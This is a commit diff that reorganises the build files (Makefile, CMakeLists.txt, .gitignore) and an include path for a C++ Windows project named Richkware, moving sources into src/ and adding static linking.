add features in makefile and Cmakefile

.gitignore

@@ -3,6 +3,7 @@
 *.lo
 *.o
 *.obj
+/obj
 
 # Precompiled Headers
 *.gch
@@ -27,19 +28,15 @@
 *.exe
 *.out
 *.app
+/bin
 
 /Debug/
 /Release/
-/Project1
 /main2.cpp
 /Richkware
 /.settings
 /.cproject
 /.project
 /nbproject
 /.idea
-cmake-build-debug/
-cmake-build-default/
-cmake-build-minsizerel/
-cmake-build-release/
-cmake-build-relwithdebinfo/
+cmake-build-richk

CMakeLists.txt

@@ -7,26 +7,12 @@ endif (UNIX)
 
 set(CMAKE_CXX_STANDARD 98)
 
-set(CMAKE_STATIC_LINKER_FLAGS "-static-libgcc -static-libstdc++")
+set(CMAKE_STATIC_LINKER_FLAGS "-static-libgcc -static-libstdc++ -static")
 #link_libraries(kernel32 user32 gdi32 winspool shell32 ole32 oleaut32 uuid comdlg32 advapi32 wsock32 ws2_32 rpcrt4 wininet)
 link_libraries(ws2_32)
 
-set(SOURCE_FILES
-        blockApps.cpp
-        blockApps.h
-        crypto.cpp
-        crypto.h
-        main.cpp
-        network.cpp
-        network.h
-        protocol.cpp
-        protocol.h
-        richkware.cpp
-        richkware.h
-        sharedResources.cpp
-        sharedResources.h
-        sharedResources.templates.h
-        storage.cpp
-        storage.h)
+set (PROJECT_SOURCE_DIR src)
 
-add_executable(Richkware ${SOURCE_FILES})
+file(GLOB SOURCE_FILES ${PROJECT_SOURCE_DIR}/*.cpp ${PROJECT_SOURCE_DIR}/*.h main.cpp)
+
+add_executable(Richkware.exe ${SOURCE_FILES})

Makefile

@@ -1,27 +1,46 @@
+# Copyright 2016 Riccardo Melioli. All Rights Reserved.
+
+# executable name
+TARGET   = Richkware
+
 ifeq ($(OS),Windows_NT)
     CXX=g++    
 else
     CXX=x86_64-w64-mingw32-g++
 endif
 
-
+# flags
 CXXFLAGS= -c -O3 -Wall
 LDFLAGS= -static-libgcc -static-libstdc++ -static -Wall
 EFLAG= -lws2_32
 
-SOURCES= main.cpp crypto.cpp sharedResources.cpp blockApps.cpp richkware.cpp network.cpp storage.cpp protocol.cpp
-OBJECTS= $(SOURCES:.cpp=.o)
-EXECUTABLE= Richkware.exe
+# directories
+SRCDIR   = src
+OBJDIR   = obj
+BINDIR   = bin
+
+# files
+SOURCES  := $(wildcard $(SRCDIR)/*.cpp)
+INCLUDES := $(wildcard $(SRCDIR)/*.h)
+OBJECTS  := $(SOURCES:$(SRCDIR)/%.cpp=$(OBJDIR)/%.o)
+EXECUTABLE= $(BINDIR)/$(TARGET).exe
 
 .PHONY : all
-all: $(EXECUTABLE)
-
-$(EXECUTABLE): $(OBJECTS)
-	$(CXX) $(LDFLAGS) $^ $(EFLAG) -o  $@
+all: make_directories $(EXECUTABLE)
 
-.cpp.o:
+$(EXECUTABLE): $(OBJECTS) main.o
+	$(CXX) $(LDFLAGS) $(OBJECTS) $(OBJDIR)/main.o $(EFLAG) -o $@
+
+$(OBJECTS): $(OBJDIR)/%.o : $(SRCDIR)/%.cpp
 	$(CXX) $(CXXFLAGS) $< -o $@
 
+main.o: 
+	$(CXX) $(CXXFLAGS) main.cpp -o $(OBJDIR)/main.o
+
+.PHONY : make_directories
+make_directories: 
+	mkdir -p $(OBJDIR) $(BINDIR)
+
 .PHONY : clean
 clean:
-	rm -f *.o *~
+	rm -rf $(OBJDIR) $(BINDIR)

main.cpp

@@ -1,5 +1,5 @@
 
-#include "richkware.h"
+#include "src/richkware.h"
 
 int main() {
     Richkware richkware("Richk","richktest");